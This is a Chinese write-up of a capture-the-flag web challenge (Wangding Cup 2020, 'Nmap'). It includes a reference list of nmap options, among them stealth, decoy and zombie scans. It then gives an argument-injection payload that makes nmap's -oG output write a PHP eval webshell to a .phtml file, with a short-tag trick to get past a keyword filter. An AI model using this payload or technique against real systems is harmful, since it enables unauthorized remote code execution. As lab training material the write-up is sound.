[网鼎杯 2020 朱雀组]Nmap
作者:互联网
[网鼎杯 2020 朱雀组]Nmap
打开环境
这题是和nmap有关的,nmap这款工具是用来扫描网络的,一般会拿来扫目标主机的端口或操作系统之类的,之前有用过,他有很多的命令可以使用,但之前没有刻意去研究。
估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".$cmd,之类的。
先抓个包看一下运行流程,首先index.php用了POST传参传过去一个host参数,然后本地又发起了一个GET请求,传了一个参数f=90131,通过修改此参数,发现PHP报错 simplexml_load_file(): I/O warning : failed to load external entity "xml/90132" in /var/www/html/result.php on line 23
simplexml_load_file() 函数是把 XML 文档载入对象中,所以初步猜想,应该是nmap将扫描的结果保存为了xml文档,然后PHP再打开该文档解析,后台命令可能为nmap -oX 127.0.0.1 ./xml/????
这里就需要稍微了解一下nmap的指令了,稍微在网上收集了一些常用命令,以便后面查阅:
nmap -v 127.0.0.1 给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt 运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100 使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101 启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1 使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101 扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101 扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.* 找出网络中的在线主机
nmap -F 192.168.0.101 快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4 使用小数据包发送,避免被识别出
nmap -r 192.168.0.101 不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101 使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101 查找主机服务版本号
nmap -PS 192.168.0.101 使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4 目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4 对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101 执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101 使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101 执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip 使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml 对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4 设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4 发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4 发送参杂着假ip的数据包检测
继续中断扫描:
nmap –oG 1.txt –v 192.168.1.1/24 -oG将扫描结果保存为TXT,Ctrl+C中断扫描
Nmap –resume 1.txt 作用:继续扫描
看了很多资料后,知道了,nmap可以将扫描后的结果保存为文件,这个文件格式甚至可以自己决定,那岂不是可以直接尝试写一句话木马了。。。。
把nmap保存文件的一些方法截下来:
本地测试了一些,nmap保存文件的方法
真刑啊,文件的后缀可以自己决定,文件内容里还包含了我们输入的查询内容。
回到题目,之前我们猜测了nmap 127.0.0.1 -oX ./xml/????
其中127.0.0.1是我们控制的,那我们尝试改成
'<?php eval($_POST["pwd"]);?> -oG 1.php'
测试后发现被拦截了,可能是PHP关键字被拦截了,也可能是oG被禁用了,先试着绕php,后缀可以将php改成phtml
文件的内容<?php中的PHP如何替换上网去查了一下,解决方法是使用短标签<?=
最终payload:
'<?= @eval($_POST["pwd"]);?> -oG 1.phtml'
如何最后就是去注入写文件,蚁剑连接,读flag,交flag,结束。
标签:xml,96.4,0.101,Nmap,扫描,192.168,nmap,2020,网鼎杯 来源: https://www.cnblogs.com/Sentry-fei/p/15671032.html